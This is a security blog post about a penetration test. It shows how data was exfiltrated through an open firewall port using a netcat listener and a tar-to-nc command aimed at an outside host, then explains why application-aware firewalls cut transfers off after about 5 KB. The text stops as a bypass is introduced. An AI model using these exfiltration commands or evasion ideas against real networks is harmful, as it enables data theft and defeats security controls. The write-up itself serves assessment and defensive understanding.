Application Control Bypass for Data Exfiltration, (Tue, Mar 31st)

In case of a cyber incident, most organizations fear more of data loss (via exfiltration) than regular data encryption because they have a good backup policy in place. If exfiltration happened, it means a total loss of control of the stolen data with all the consequences (PII, CC numbers, ). While performing a security assessment of a corporate network, I discovered that a TCP port was open to the wild Internet, even if the audited company has a pretty strong firewall policy. The open port was discovered via a regular port scan. In such situation, you try to exploit this hole in the firewall. What I did, I tried to exfiltrate data through this port. It s easy: Simulate a server controlled by a threat actor: root@attacker:~# nc -l -p 12345 /tmp/victim.tgz And, from a server on the victim s network: root@victim:~# tar czvf - /juicy/data/to/exfiltrate | nc wild.server.com 12345 It worked but the data transfer failed after approximatively ~5KB of data sent weird! Every time, the same situation. I talked to a local Network Administrator who said that they have a Palo Alto Networks firewall in place with App-ID enabled on this port. Note : What I am explaining here is not directly related to this brand of firewall. The same issue may apply with any next-generation firewall! For example, Checkpoint firewalls use the App Control blade and Fortinet firewalls use Application Control . App-ID in Palo Alto Networks firewalls is the component performing traffic classification on the protected network(s), regardless of port, protocol, or encryption. Instead of relying on traditional port-based rules (e.g., TCP/80 == HTTP), App-ID analyzes traffic in real time to determine the actual application (e.g., Facebook, Dropbox, custom apps), enabling more granular and accurate security policies. This allows administrators to permit, deny, or control applications directly, apply user-based rules, and enforce security profiles (IPS, URL filtering, etc.) based on the true nature of the traffic rather than superficial indicators like ports. This also prevent well-known protocols to be used on exotic ports (ex: SSH over 12222). The main issue with this technique is that enough packets must be sent over the wire to perform a good classification. So, the traffic is always allowed first and, if something bad is detected, remaining packets are blocked. In terms of data volume, there s no strict fixed threshold, but in practice App-ID usually needs at least the first few KB of application payload to reach a reliable classification. Roughly speaking: 1 KB (or just handshake packets): almost always insufficient likely unknown or very generic classification ~1 5 KB: basic identification possible for simple or clear-text protocols (HTTP, DNS, some TLS SNI-based detection) ~5 10+ KB: much higher confidence, especially for encrypted or complex applications That s why my attempts to exfiltrate data were all blocked after ~5KB. Can we bypass this? Let s try the following scenario: On t